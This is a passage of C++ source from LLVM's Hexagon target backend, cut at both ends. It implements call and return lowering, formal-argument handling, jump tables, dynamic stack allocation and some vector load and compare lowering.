ISD::ArgFlagsTy ArgFlags, CCState &State) {
if (unsigned Reg = State.AllocateReg(Hexagon::D0)) {
State.addLoc(CCValAssign::getReg(ValNo, ValVT, Reg, LocVT, LocInfo));
return false;
}
static const MCPhysReg RegList1[] = {
Hexagon::D1, Hexagon::D2
};
static const MCPhysReg RegList2[] = {
Hexagon::R1, Hexagon::R3
};
if (unsigned Reg = State.AllocateReg(RegList1, RegList2)) {
State.addLoc(CCValAssign::getReg(ValNo, ValVT, Reg, LocVT, LocInfo));
return false;
}
unsigned Offset = State.AllocateStack(8, 8, Hexagon::D2);
State.addLoc(CCValAssign::getMem(ValNo, ValVT, Offset, LocVT, LocInfo));
return false;
}
static bool RetCC_Hexagon(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State) {
if (LocVT == MVT::i1 ||
LocVT == MVT::i8 ||
LocVT == MVT::i16) {
LocVT = MVT::i32;
ValVT = MVT::i32;
if (ArgFlags.isSExt())
LocInfo = CCValAssign::SExt;
else if (ArgFlags.isZExt())
LocInfo = CCValAssign::ZExt;
else
LocInfo = CCValAssign::AExt;
} else if (LocVT == MVT::v4i8 || LocVT == MVT::v2i16) {
LocVT = MVT::i32;
LocInfo = CCValAssign::BCvt;
} else if (LocVT == MVT::v8i8 || LocVT == MVT::v4i16 || LocVT == MVT::v2i32) {
LocVT = MVT::i64;
LocInfo = CCValAssign::BCvt;
}
if (LocVT == MVT::i32 || LocVT == MVT::f32) {
if (!RetCC_Hexagon32(ValNo, ValVT, LocVT, LocInfo, ArgFlags, State))
return false;
}
if (LocVT == MVT::i64 || LocVT == MVT::f64) {
if (!RetCC_Hexagon64(ValNo, ValVT, LocVT, LocInfo, ArgFlags, State))
return false;
}
return true; // CC didn't match.
}
static bool RetCC_Hexagon32(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State) {
if (LocVT == MVT::i32 || LocVT == MVT::f32) {
if (unsigned Reg = State.AllocateReg(Hexagon::R0)) {
State.addLoc(CCValAssign::getReg(ValNo, ValVT, Reg, LocVT, LocInfo));
return false;
}
}
unsigned Offset = State.AllocateStack(4, 4);
State.addLoc(CCValAssign::getMem(ValNo, ValVT, Offset, LocVT, LocInfo));
return false;
}
static bool RetCC_Hexagon64(unsigned ValNo, MVT ValVT,
MVT LocVT, CCValAssign::LocInfo LocInfo,
ISD::ArgFlagsTy ArgFlags, CCState &State) {
if (LocVT == MVT::i64 || LocVT == MVT::f64) {
if (unsigned Reg = State.AllocateReg(Hexagon::D0)) {
State.addLoc(CCValAssign::getReg(ValNo, ValVT, Reg, LocVT, LocInfo));
return false;
}
}
unsigned Offset = State.AllocateStack(8, 8);
State.addLoc(CCValAssign::getMem(ValNo, ValVT, Offset, LocVT, LocInfo));
return false;
}
SDValue
HexagonTargetLowering::LowerINTRINSIC_WO_CHAIN(SDValue Op, SelectionDAG &DAG)
const {
return SDValue();
}
/// CreateCopyOfByValArgument - Make a copy of an aggregate at address specified
/// by "Src" to address "Dst" of size "Size". Alignment information is
/// specified by the specific parameter attribute. The copy will be passed as
/// a byval function parameter. Sometimes what we are copying is the end of a
/// larger object, the part that does not fit in registers.
static SDValue
CreateCopyOfByValArgument(SDValue Src, SDValue Dst, SDValue Chain,
ISD::ArgFlagsTy Flags, SelectionDAG &DAG,
SDLoc dl) {
SDValue SizeNode = DAG.getConstant(Flags.getByValSize(), MVT::i32);
return DAG.getMemcpy(Chain, dl, Dst, Src, SizeNode, Flags.getByValAlign(),
/*isVolatile=*/false, /*AlwaysInline=*/false,
/*isTailCall=*/false,
MachinePointerInfo(), MachinePointerInfo());
}
// LowerReturn - Lower ISD::RET. If a struct is larger than 8 bytes and is
// passed by value, the function prototype is modified to return void and
// the value is stored in memory pointed by a pointer passed by caller.
SDValue
HexagonTargetLowering::LowerReturn(SDValue Chain,
CallingConv::ID CallConv, bool isVarArg,
const SmallVectorImpl<ISD::OutputArg> &Outs,
const SmallVectorImpl<SDValue> &OutVals,
SDLoc dl, SelectionDAG &DAG) const {
// CCValAssign - represent the assignment of the return value to locations.
SmallVector<CCValAssign, 16> RVLocs;
// CCState - Info about the registers and stack slot.
CCState CCInfo(CallConv, isVarArg, DAG.getMachineFunction(), RVLocs,
*DAG.getContext());
// Analyze return values of ISD::RET
CCInfo.AnalyzeReturn(Outs, RetCC_Hexagon);
SDValue Flag;
SmallVector<SDValue, 4> RetOps(1, Chain);
// Copy the result values into the output registers.
for (unsigned i = 0; i != RVLocs.size(); ++i) {
CCValAssign &VA = RVLocs[i];
Chain = DAG.getCopyToReg(Chain, dl, VA.getLocReg(), OutVals[i], Flag);
// Guarantee that all emitted copies are stuck together with flags.
Flag = Chain.getValue(1);
RetOps.push_back(DAG.getRegister(VA.getLocReg(), VA.getLocVT()));
}
RetOps[0] = Chain; // Update chain.
// Add the flag if we have it.
if (Flag.getNode())
RetOps.push_back(Flag);
return DAG.getNode(HexagonISD::RET_FLAG, dl, MVT::Other, RetOps);
}
/// LowerCallResult - Lower the result values of an ISD::CALL into the
/// appropriate copies out of appropriate physical registers. This assumes that
/// Chain/InFlag are the input chain/flag to use, and that TheCall is the call
/// being lowered. Returns a SDNode with the same number of values as the
/// ISD::CALL.
SDValue
HexagonTargetLowering::LowerCallResult(SDValue Chain, SDValue InFlag,
CallingConv::ID CallConv, bool isVarArg,
const
SmallVectorImpl<ISD::InputArg> &Ins,
SDLoc dl, SelectionDAG &DAG,
SmallVectorImpl<SDValue> &InVals,
const SmallVectorImpl<SDValue> &OutVals,
SDValue Callee) const {
// Assign locations to each value returned by this call.
SmallVector<CCValAssign, 16> RVLocs;
CCState CCInfo(CallConv, isVarArg, DAG.getMachineFunction(), RVLocs,
*DAG.getContext());
CCInfo.AnalyzeCallResult(Ins, RetCC_Hexagon);
// Copy all of the result registers out of their specified physreg.
for (unsigned i = 0; i != RVLocs.size(); ++i) {
Chain = DAG.getCopyFromReg(Chain, dl,
RVLocs[i].getLocReg(),
RVLocs[i].getValVT(), InFlag).getValue(1);
InFlag = Chain.getValue(2);
InVals.push_back(Chain.getValue(0));
}
return Chain;
}
/// LowerCall - Functions arguments are copied from virtual regs to
/// (physical regs)/(stack frame), CALLSEQ_START and CALLSEQ_END are emitted.
SDValue
HexagonTargetLowering::LowerCall(TargetLowering::CallLoweringInfo &CLI,
SmallVectorImpl<SDValue> &InVals) const {
SelectionDAG &DAG = CLI.DAG;
SDLoc &dl = CLI.DL;
SmallVectorImpl<ISD::OutputArg> &Outs = CLI.Outs;
SmallVectorImpl<SDValue> &OutVals = CLI.OutVals;
SmallVectorImpl<ISD::InputArg> &Ins = CLI.Ins;
SDValue Chain = CLI.Chain;
SDValue Callee = CLI.Callee;
bool &isTailCall = CLI.IsTailCall;
CallingConv::ID CallConv = CLI.CallConv;
bool isVarArg = CLI.IsVarArg;
bool doesNotReturn = CLI.DoesNotReturn;
bool IsStructRet = (Outs.empty()) ? false : Outs[0].Flags.isSRet();
// Check for varargs.
int NumNamedVarArgParams = -1;
if (GlobalAddressSDNode *GA = dyn_cast<GlobalAddressSDNode>(Callee))
{
const Function* CalleeFn = nullptr;
Callee = DAG.getTargetGlobalAddress(GA->getGlobal(), dl, MVT::i32);
if ((CalleeFn = dyn_cast<Function>(GA->getGlobal())))
{
// If a function has zero args and is a vararg function, that's
// disallowed so it must be an undeclared function. Do not assume
// varargs if the callee is undefined.
if (CalleeFn->isVarArg() &&
CalleeFn->getFunctionType()->getNumParams() != 0) {
NumNamedVarArgParams = CalleeFn->getFunctionType()->getNumParams();
}
}
}
// Analyze operands of the call, assigning locations to each operand.
SmallVector<CCValAssign, 16> ArgLocs;
HexagonCCState CCInfo(CallConv, isVarArg, DAG.getMachineFunction(), ArgLocs,
*DAG.getContext(), NumNamedVarArgParams);
if (NumNamedVarArgParams > 0)
CCInfo.AnalyzeCallOperands(Outs, CC_Hexagon_VarArg);
else
CCInfo.AnalyzeCallOperands(Outs, CC_Hexagon);
if(isTailCall) {
bool StructAttrFlag =
DAG.getMachineFunction().getFunction()->hasStructRetAttr();
isTailCall = IsEligibleForTailCallOptimization(Callee, CallConv,
isVarArg, IsStructRet,
StructAttrFlag,
Outs, OutVals, Ins, DAG);
for (unsigned i = 0, e = ArgLocs.size(); i != e; ++i){
CCValAssign &VA = ArgLocs[i];
if (VA.isMemLoc()) {
isTailCall = false;
break;
}
}
if (isTailCall) {
DEBUG(dbgs () << "Eligible for Tail Call\n");
} else {
DEBUG(dbgs () <<
"Argument must be passed on stack. Not eligible for Tail Call\n");
}
}
// Get a count of how many bytes are to be pushed on the stack.
unsigned NumBytes = CCInfo.getNextStackOffset();
SmallVector<std::pair<unsigned, SDValue>, 16> RegsToPass;
SmallVector<SDValue, 8> MemOpChains;
const HexagonRegisterInfo *QRI = Subtarget->getRegisterInfo();
SDValue StackPtr =
DAG.getCopyFromReg(Chain, dl, QRI->getStackRegister(), getPointerTy());
// Walk the register/memloc assignments, inserting copies/loads.
for (unsigned i = 0, e = ArgLocs.size(); i != e; ++i) {
CCValAssign &VA = ArgLocs[i];
SDValue Arg = OutVals[i];
ISD::ArgFlagsTy Flags = Outs[i].Flags;
// Promote the value if needed.
switch (VA.getLocInfo()) {
default:
// Loc info must be one of Full, SExt, ZExt, or AExt.
llvm_unreachable("Unknown loc info!");
case CCValAssign::Full:
break;
case CCValAssign::SExt:
Arg = DAG.getNode(ISD::SIGN_EXTEND, dl, VA.getLocVT(), Arg);
break;
case CCValAssign::ZExt:
Arg = DAG.getNode(ISD::ZERO_EXTEND, dl, VA.getLocVT(), Arg);
break;
case CCValAssign::AExt:
Arg = DAG.getNode(ISD::ANY_EXTEND, dl, VA.getLocVT(), Arg);
break;
}
if (VA.isMemLoc()) {
unsigned LocMemOffset = VA.getLocMemOffset();
SDValue PtrOff = DAG.getConstant(LocMemOffset, StackPtr.getValueType());
PtrOff = DAG.getNode(ISD::ADD, dl, MVT::i32, StackPtr, PtrOff);
if (Flags.isByVal()) {
// The argument is a struct passed by value. According to LLVM, "Arg"
// is is pointer.
MemOpChains.push_back(CreateCopyOfByValArgument(Arg, PtrOff, Chain,
Flags, DAG, dl));
} else {
// The argument is not passed by value. "Arg" is a buildin type. It is
// not a pointer.
MemOpChains.push_back(DAG.getStore(Chain, dl, Arg, PtrOff,
MachinePointerInfo(),false, false,
0));
}
continue;
}
// Arguments that can be passed on register must be kept at RegsToPass
// vector.
if (VA.isRegLoc()) {
RegsToPass.push_back(std::make_pair(VA.getLocReg(), Arg));
}
}
// Transform all store nodes into one single node because all store
// nodes are independent of each other.
if (!MemOpChains.empty()) {
Chain = DAG.getNode(ISD::TokenFactor, dl, MVT::Other, MemOpChains);
}
if (!isTailCall)
Chain = DAG.getCALLSEQ_START(Chain, DAG.getConstant(NumBytes,
getPointerTy(), true),
dl);
// Build a sequence of copy-to-reg nodes chained together with token
// chain and flag operands which copy the outgoing args into registers.
// The InFlag in necessary since all emitted instructions must be
// stuck together.
SDValue InFlag;
if (!isTailCall) {
for (unsigned i = 0, e = RegsToPass.size(); i != e; ++i) {
Chain = DAG.getCopyToReg(Chain, dl, RegsToPass[i].first,
RegsToPass[i].second, InFlag);
InFlag = Chain.getValue(1);
}
}
// For tail calls lower the arguments to the 'real' stack slot.
if (isTailCall) {
// Force all the incoming stack arguments to be loaded from the stack
// before any new outgoing arguments are stored to the stack, because the
// outgoing stack slots may alias the incoming argument stack slots, and
// the alias isn't otherwise explicit. This is slightly more conservative
// than necessary, because it means that each store effectively depends
// on every argument instead of just those arguments it would clobber.
//
// Do not flag preceding copytoreg stuff together with the following stuff.
InFlag = SDValue();
for (unsigned i = 0, e = RegsToPass.size(); i != e; ++i) {
Chain = DAG.getCopyToReg(Chain, dl, RegsToPass[i].first,
RegsToPass[i].second, InFlag);
InFlag = Chain.getValue(1);
}
InFlag =SDValue();
}
// If the callee is a GlobalAddress/ExternalSymbol node (quite common, every
// direct call is) turn it into a TargetGlobalAddress/TargetExternalSymbol
// node so that legalize doesn't hack it.
if (flag_aligned_memcpy) {
const char *MemcpyName =
"__hexagon_memcpy_likely_aligned_min32bytes_mult8bytes";
Callee =
DAG.getTargetExternalSymbol(MemcpyName, getPointerTy());
flag_aligned_memcpy = false;
} else if (GlobalAddressSDNode *G = dyn_cast<GlobalAddressSDNode>(Callee)) {
Callee = DAG.getTargetGlobalAddress(G->getGlobal(), dl, getPointerTy());
} else if (ExternalSymbolSDNode *S =
dyn_cast<ExternalSymbolSDNode>(Callee)) {
Callee = DAG.getTargetExternalSymbol(S->getSymbol(), getPointerTy());
}
// Returns a chain & a flag for retval copy to use.
SDVTList NodeTys = DAG.getVTList(MVT::Other, MVT::Glue);
SmallVector<SDValue, 8> Ops;
Ops.push_back(Chain);
Ops.push_back(Callee);
// Add argument registers to the end of the list so that they are
// known live into the call.
for (unsigned i = 0, e = RegsToPass.size(); i != e; ++i) {
Ops.push_back(DAG.getRegister(RegsToPass[i].first,
RegsToPass[i].second.getValueType()));
}
if (InFlag.getNode()) {
Ops.push_back(InFlag);
}
if (isTailCall)
return DAG.getNode(HexagonISD::TC_RETURN, dl, NodeTys, Ops);
int OpCode = doesNotReturn ? HexagonISD::CALLv3nr : HexagonISD::CALLv3;
Chain = DAG.getNode(OpCode, dl, NodeTys, Ops);
InFlag = Chain.getValue(1);
// Create the CALLSEQ_END node.
Chain = DAG.getCALLSEQ_END(Chain, DAG.getIntPtrConstant(NumBytes, true),
DAG.getIntPtrConstant(0, true), InFlag, dl);
InFlag = Chain.getValue(1);
// Handle result values, copying them out of physregs into vregs that we
// return.
return LowerCallResult(Chain, InFlag, CallConv, isVarArg, Ins, dl, DAG,
InVals, OutVals, Callee);
}
static bool getIndexedAddressParts(SDNode *Ptr, EVT VT,
bool isSEXTLoad, SDValue &Base,
SDValue &Offset, bool &isInc,
SelectionDAG &DAG) {
if (Ptr->getOpcode() != ISD::ADD)
return false;
if (VT == MVT::i64 || VT == MVT::i32 || VT == MVT::i16 || VT == MVT::i8) {
isInc = (Ptr->getOpcode() == ISD::ADD);
Base = Ptr->getOperand(0);
Offset = Ptr->getOperand(1);
// Ensure that Offset is a constant.
return (isa<ConstantSDNode>(Offset));
}
return false;
}
// TODO: Put this function along with the other isS* functions in
// HexagonISelDAGToDAG.cpp into a common file. Or better still, use the
// functions defined in HexagonOperands.td.
static bool Is_PostInc_S4_Offset(SDNode * S, int ShiftAmount) {
ConstantSDNode *N = cast<ConstantSDNode>(S);
// immS4 predicate - True if the immediate fits in a 4-bit sign extended.
// field.
int64_t v = (int64_t)N->getSExtValue();
int64_t m = 0;
if (ShiftAmount > 0) {
m = v % ShiftAmount;
v = v >> ShiftAmount;
}
return (v <= 7) && (v >= -8) && (m == 0);
}
/// getPostIndexedAddressParts - returns true by value, base pointer and
/// offset pointer and addressing mode by reference if this node can be
/// combined with a load / store to form a post-indexed load / store.
bool HexagonTargetLowering::getPostIndexedAddressParts(SDNode *N, SDNode *Op,
SDValue &Base,
SDValue &Offset,
ISD::MemIndexedMode &AM,
SelectionDAG &DAG) const
{
EVT VT;
SDValue Ptr;
bool isSEXTLoad = false;
if (LoadSDNode *LD = dyn_cast<LoadSDNode>(N)) {
VT = LD->getMemoryVT();
isSEXTLoad = LD->getExtensionType() == ISD::SEXTLOAD;
} else if (StoreSDNode *ST = dyn_cast<StoreSDNode>(N)) {
VT = ST->getMemoryVT();
if (ST->getValue().getValueType() == MVT::i64 && ST->isTruncatingStore()) {
return false;
}
} else {
return false;
}
bool isInc = false;
bool isLegal = getIndexedAddressParts(Op, VT, isSEXTLoad, Base, Offset,
isInc, DAG);
// ShiftAmount = number of left-shifted bits in the Hexagon instruction.
int ShiftAmount = VT.getSizeInBits() / 16;
if (isLegal && Is_PostInc_S4_Offset(Offset.getNode(), ShiftAmount)) {
AM = isInc ? ISD::POST_INC : ISD::POST_DEC;
return true;
}
return false;
}
SDValue HexagonTargetLowering::LowerINLINEASM(SDValue Op,
SelectionDAG &DAG) const {
SDNode *Node = Op.getNode();
MachineFunction &MF = DAG.getMachineFunction();
HexagonMachineFunctionInfo *FuncInfo =
MF.getInfo<HexagonMachineFunctionInfo>();
switch (Node->getOpcode()) {
case ISD::INLINEASM: {
unsigned NumOps = Node->getNumOperands();
if (Node->getOperand(NumOps-1).getValueType() == MVT::Glue)
--NumOps; // Ignore the flag operand.
for (unsigned i = InlineAsm::Op_FirstOperand; i != NumOps;) {
if (FuncInfo->hasClobberLR())
break;
unsigned Flags =
cast<ConstantSDNode>(Node->getOperand(i))->getZExtValue();
unsigned NumVals = InlineAsm::getNumOperandRegisters(Flags);
++i; // Skip the ID value.
switch (InlineAsm::getKind(Flags)) {
default: llvm_unreachable("Bad flags!");
case InlineAsm::Kind_RegDef:
case InlineAsm::Kind_RegUse:
case InlineAsm::Kind_Imm:
case InlineAsm::Kind_Clobber:
case InlineAsm::Kind_Mem: {
for (; NumVals; --NumVals, ++i) {}
break;
}
case InlineAsm::Kind_RegDefEarlyClobber: {
for (; NumVals; --NumVals, ++i) {
unsigned Reg =
cast<RegisterSDNode>(Node->getOperand(i))->getReg();
// Check it to be lr
const HexagonRegisterInfo *QRI = Subtarget->getRegisterInfo();
if (Reg == QRI->getRARegister()) {
FuncInfo->setHasClobberLR(true);
break;
}
}
break;
}
}
}
}
} // Node->getOpcode
return Op;
}
//
// Taken from the XCore backend.
//
SDValue HexagonTargetLowering::
LowerBR_JT(SDValue Op, SelectionDAG &DAG) const
{
SDValue Chain = Op.getOperand(0);
SDValue Table = Op.getOperand(1);
SDValue Index = Op.getOperand(2);
SDLoc dl(Op);
JumpTableSDNode *JT = cast<JumpTableSDNode>(Table);
unsigned JTI = JT->getIndex();
MachineFunction &MF = DAG.getMachineFunction();
const MachineJumpTableInfo *MJTI = MF.getJumpTableInfo();
SDValue TargetJT = DAG.getTargetJumpTable(JT->getIndex(), MVT::i32);
// Mark all jump table targets as address taken.
const std::vector<MachineJumpTableEntry> &JTE = MJTI->getJumpTables();
const std::vector<MachineBasicBlock*> &JTBBs = JTE[JTI].MBBs;
for (unsigned i = 0, e = JTBBs.size(); i != e; ++i) {
MachineBasicBlock *MBB = JTBBs[i];
MBB->setHasAddressTaken();
// This line is needed to set the hasAddressTaken flag on the BasicBlock
// object.
BlockAddress::get(const_cast<BasicBlock *>(MBB->getBasicBlock()));
}
SDValue JumpTableBase = DAG.getNode(HexagonISD::JT, dl,
getPointerTy(), TargetJT);
SDValue ShiftIndex = DAG.getNode(ISD::SHL, dl, MVT::i32, Index,
DAG.getConstant(2, MVT::i32));
SDValue JTAddress = DAG.getNode(ISD::ADD, dl, MVT::i32, JumpTableBase,
ShiftIndex);
SDValue LoadTarget = DAG.getLoad(MVT::i32, dl, Chain, JTAddress,
MachinePointerInfo(), false, false, false,
0);
return DAG.getNode(HexagonISD::BR_JT, dl, MVT::Other, Chain, LoadTarget);
}
SDValue
HexagonTargetLowering::LowerDYNAMIC_STACKALLOC(SDValue Op,
SelectionDAG &DAG) const {
SDValue Chain = Op.getOperand(0);
SDValue Size = Op.getOperand(1);
SDLoc dl(Op);
unsigned SPReg = getStackPointerRegisterToSaveRestore();
// Get a reference to the stack pointer.
SDValue StackPointer = DAG.getCopyFromReg(Chain, dl, SPReg, MVT::i32);
// Subtract the dynamic size from the actual stack size to
// obtain the new stack size.
SDValue Sub = DAG.getNode(ISD::SUB, dl, MVT::i32, StackPointer, Size);
//
// For Hexagon, the outgoing memory arguments area should be on top of the
// alloca area on the stack i.e., the outgoing memory arguments should be
// at a lower address than the alloca area. Move the alloca area down the
// stack by adding back the space reserved for outgoing arguments to SP
// here.
//
// We do not know what the size of the outgoing args is at this point.
// So, we add a pseudo instruction ADJDYNALLOC that will adjust the
// stack pointer. We patch this instruction with the correct, known
// offset in emitPrologue().
//
// Use a placeholder immediate (zero) for now. This will be patched up
// by emitPrologue().
SDValue ArgAdjust = DAG.getNode(HexagonISD::ADJDYNALLOC, dl,
MVT::i32,
Sub,
DAG.getConstant(0, MVT::i32));
// The Sub result contains the new stack start address, so it
// must be placed in the stack pointer register.
const HexagonRegisterInfo *QRI = Subtarget->getRegisterInfo();
SDValue CopyChain = DAG.getCopyToReg(Chain, dl, QRI->getStackRegister(), Sub);
SDValue Ops[2] = { ArgAdjust, CopyChain };
return DAG.getMergeValues(Ops, dl);
}
SDValue
HexagonTargetLowering::LowerFormalArguments(SDValue Chain,
CallingConv::ID CallConv,
bool isVarArg,
const
SmallVectorImpl<ISD::InputArg> &Ins,
SDLoc dl, SelectionDAG &DAG,
SmallVectorImpl<SDValue> &InVals)
const {
MachineFunction &MF = DAG.getMachineFunction();
MachineFrameInfo *MFI = MF.getFrameInfo();
MachineRegisterInfo &RegInfo = MF.getRegInfo();
HexagonMachineFunctionInfo *FuncInfo =
MF.getInfo<HexagonMachineFunctionInfo>();
// Assign locations to all of the incoming arguments.
SmallVector<CCValAssign, 16> ArgLocs;
CCState CCInfo(CallConv, isVarArg, DAG.getMachineFunction(), ArgLocs,
*DAG.getContext());
CCInfo.AnalyzeFormalArguments(Ins, CC_Hexagon);
// For LLVM, in the case when returning a struct by value (>8byte),
// the first argument is a pointer that points to the location on caller's
// stack where the return value will be stored. For Hexagon, the location on
// caller's stack is passed only when the struct size is smaller than (and
// equal to) 8 bytes. If not, no address will be passed into callee and
// callee return the result direclty through R0/R1.
SmallVector<SDValue, 4> MemOps;
for (unsigned i = 0, e = ArgLocs.size(); i != e; ++i) {
CCValAssign &VA = ArgLocs[i];
ISD::ArgFlagsTy Flags = Ins[i].Flags;
unsigned ObjSize;
unsigned StackLocation;
int FI;
if ( (VA.isRegLoc() && !Flags.isByVal())
|| (VA.isRegLoc() && Flags.isByVal() && Flags.getByValSize() > 8)) {
// Arguments passed in registers
// 1. int, long long, ptr args that get allocated in register.
// 2. Large struct that gets an register to put its address in.
EVT RegVT = VA.getLocVT();
if (RegVT == MVT::i8 || RegVT == MVT::i16 ||
RegVT == MVT::i32 || RegVT == MVT::f32) {
unsigned VReg =
RegInfo.createVirtualRegister(&Hexagon::IntRegsRegClass);
RegInfo.addLiveIn(VA.getLocReg(), VReg);
InVals.push_back(DAG.getCopyFromReg(Chain, dl, VReg, RegVT));
} else if (RegVT == MVT::i64 || RegVT == MVT::f64) {
unsigned VReg =
RegInfo.createVirtualRegister(&Hexagon::DoubleRegsRegClass);
RegInfo.addLiveIn(VA.getLocReg(), VReg);
InVals.push_back(DAG.getCopyFromReg(Chain, dl, VReg, RegVT));
} else {
assert (0);
}
} else if (VA.isRegLoc() && Flags.isByVal() && Flags.getByValSize() <= 8) {
assert (0 && "ByValSize must be bigger than 8 bytes");
} else {
// Sanity check.
assert(VA.isMemLoc());
if (Flags.isByVal()) {
// If it's a byval parameter, then we need to compute the
// "real" size, not the size of the pointer.
ObjSize = Flags.getByValSize();
} else {
ObjSize = VA.getLocVT().getStoreSizeInBits() >> 3;
}
StackLocation = HEXAGON_LRFP_SIZE + VA.getLocMemOffset();
// Create the frame index object for this incoming parameter...
FI = MFI->CreateFixedObject(ObjSize, StackLocation, true);
// Create the SelectionDAG nodes cordl, responding to a load
// from this parameter.
SDValue FIN = DAG.getFrameIndex(FI, MVT::i32);
if (Flags.isByVal()) {
// If it's a pass-by-value aggregate, then do not dereference the stack
// location. Instead, we should generate a reference to the stack
// location.
InVals.push_back(FIN);
} else {
InVals.push_back(DAG.getLoad(VA.getLocVT(), dl, Chain, FIN,
MachinePointerInfo(), false, false,
false, 0));
}
}
}
if (!MemOps.empty())
Chain = DAG.getNode(ISD::TokenFactor, dl, MVT::Other, MemOps);
if (isVarArg) {
// This will point to the next argument passed via stack.
int FrameIndex = MFI->CreateFixedObject(Hexagon_PointerSize,
HEXAGON_LRFP_SIZE +
CCInfo.getNextStackOffset(),
true);
FuncInfo->setVarArgsFrameIndex(FrameIndex);
}
return Chain;
}
SDValue
HexagonTargetLowering::LowerVASTART(SDValue Op, SelectionDAG &DAG) const {
// VASTART stores the address of the VarArgsFrameIndex slot into the
// memory location argument.
MachineFunction &MF = DAG.getMachineFunction();
HexagonMachineFunctionInfo *QFI = MF.getInfo<HexagonMachineFunctionInfo>();
SDValue Addr = DAG.getFrameIndex(QFI->getVarArgsFrameIndex(), MVT::i32);
const Value *SV = cast<SrcValueSDNode>(Op.getOperand(2))->getValue();
return DAG.getStore(Op.getOperand(0), SDLoc(Op), Addr,
Op.getOperand(1), MachinePointerInfo(SV), false,
false, 0);
}
// Creates a SPLAT instruction for a constant value VAL.
static SDValue createSplat(SelectionDAG &DAG, SDLoc dl, EVT VT, SDValue Val) {
if (VT.getSimpleVT() == MVT::v4i8)
return DAG.getNode(HexagonISD::VSPLATB, dl, VT, Val);
if (VT.getSimpleVT() == MVT::v4i16)
return DAG.getNode(HexagonISD::VSPLATH, dl, VT, Val);
return SDValue();
}
static bool isSExtFree(SDValue N) {
// A sign-extend of a truncate of a sign-extend is free.
if (N.getOpcode() == ISD::TRUNCATE &&
N.getOperand(0).getOpcode() == ISD::AssertSext)
return true;
// We have sign-extended loads.
if (N.getOpcode() == ISD::LOAD)
return true;
return false;
}
SDValue HexagonTargetLowering::LowerCTPOP(SDValue Op, SelectionDAG &DAG) const {
SDLoc dl(Op);
SDValue InpVal = Op.getOperand(0);
if (isa<ConstantSDNode>(InpVal)) {
uint64_t V = cast<ConstantSDNode>(InpVal)->getZExtValue();
return DAG.getTargetConstant(countPopulation(V), MVT::i64);
}
SDValue PopOut = DAG.getNode(HexagonISD::POPCOUNT, dl, MVT::i32, InpVal);
return DAG.getNode(ISD::ZERO_EXTEND, dl, MVT::i64, PopOut);
}
SDValue HexagonTargetLowering::LowerSETCC(SDValue Op, SelectionDAG &DAG) const {
SDLoc dl(Op);
SDValue LHS = Op.getOperand(0);
SDValue RHS = Op.getOperand(1);
SDValue Cmp = Op.getOperand(2);
ISD::CondCode CC = cast<CondCodeSDNode>(Cmp)->get();
EVT VT = Op.getValueType();
EVT LHSVT = LHS.getValueType();
EVT RHSVT = RHS.getValueType();
if (LHSVT == MVT::v2i16) {
assert(ISD::isSignedIntSetCC(CC) || ISD::isUnsignedIntSetCC(CC));
unsigned ExtOpc = ISD::isSignedIntSetCC(CC) ? ISD::SIGN_EXTEND
: ISD::ZERO_EXTEND;
SDValue LX = DAG.getNode(ExtOpc, dl, MVT::v2i32, LHS);
SDValue RX = DAG.getNode(ExtOpc, dl, MVT::v2i32, RHS);
SDValue SC = DAG.getNode(ISD::SETCC, dl, MVT::v2i1, LX, RX, Cmp);
return SC;
}
// Treat all other vector types as legal.
if (VT.isVector())
return Op;
// Equals and not equals should use sign-extend, not zero-extend, since
// we can represent small negative values in the compare instructions.
// The LLVM default is to use zero-extend arbitrarily in these cases.
if ((CC == ISD::SETEQ || CC == ISD::SETNE) &&
(RHSVT == MVT::i8 || RHSVT == MVT::i16) &&
(LHSVT == MVT::i8 || LHSVT == MVT::i16)) {
ConstantSDNode *C = dyn_cast<ConstantSDNode>(RHS);
if (C && C->getAPIntValue().isNegative()) {
LHS = DAG.getNode(ISD::SIGN_EXTEND, dl, MVT::i32, LHS);
RHS = DAG.getNode(ISD::SIGN_EXTEND, dl, MVT::i32, RHS);
return DAG.getNode(ISD::SETCC, dl, Op.getValueType(),
LHS, RHS, Op.getOperand(2));
}
if (isSExtFree(LHS) || isSExtFree(RHS)) {
LHS = DAG.getNode(ISD::SIGN_EXTEND, dl, MVT::i32, LHS);
RHS = DAG.getNode(ISD::SIGN_EXTEND, dl, MVT::i32, RHS);
return DAG.getNode(ISD::SETCC, dl, Op.getValueType(),
LHS, RHS, Op.getOperand(2));
}
}
return SDValue();
}
SDValue HexagonTargetLowering::LowerVSELECT(SDValue Op, SelectionDAG &DAG)
const {
SDValue PredOp = Op.getOperand(0);
SDValue Op1 = Op.getOperand(1), Op2 = Op.getOperand(2);
EVT OpVT = Op1.getValueType();
SDLoc DL(Op);
if (OpVT == MVT::v2i16) {
SDValue X1 = DAG.getNode(ISD::ZERO_EXTEND, DL, MVT::v2i32, Op1);
SDValue X2 = DAG.getNode(ISD::ZERO_EXTEND, DL, MVT::v2i32, Op2);
SDValue SL = DAG.getNode(ISD::VSELECT, DL, MVT::v2i32, PredOp, X1, X2);
SDValue TR = DAG.getNode(ISD::TRUNCATE, DL, MVT::v2i16, SL);
return TR;
}
return SDValue();
}
// Handle only specific vector loads.
SDValue HexagonTargetLowering::LowerLOAD(SDValue Op, SelectionDAG &DAG) const {
EVT VT = Op.getValueType();
SDLoc DL(Op);
LoadSDNode *LoadNode = cast<LoadSDNode>(Op);
SDValue Chain = LoadNode->getChain();
SDValue Ptr = Op.getOperand(1);
SDValue LoweredLoad;
SDValue Result;
SDValue Base = LoadNode->getBasePtr();
ISD::LoadExtType Ext = LoadNode->getExtensionType();
unsigned Alignment = LoadNode->getAlignment();
SDValue LoadChain;
if(Ext == ISD::NON_EXTLOAD)
Ext = ISD::ZEXTLOAD;
if (VT == MVT::v4i16) {
if (Alignment == 2) {
SDValue Loads[4];
// Base load.
Loads[0] = DAG.getExtLoad(Ext, DL, MVT::i32, Chain, Base,
LoadNode->getPointerInfo(), MVT::i16,
LoadNode->isVolatile(),
LoadNode->isNonTemporal(),
LoadNode->isInvariant(),
Alignment);
// Base+2 load.
SDValue Increment = DAG.getConstant(2, MVT::i32);
Ptr = DAG.getNode(ISD::ADD, DL, Base.getValueType(), Base, Increment);
Loads[1] = DAG.getExtLoad(Ext, DL, MVT::i32, Chain, Ptr,
LoadNode->getPointerInfo(), MVT::i16,
LoadNode->isVolatile(),
LoadNode->isNonTemporal(),
LoadNode->isInvariant(),
Alignment);
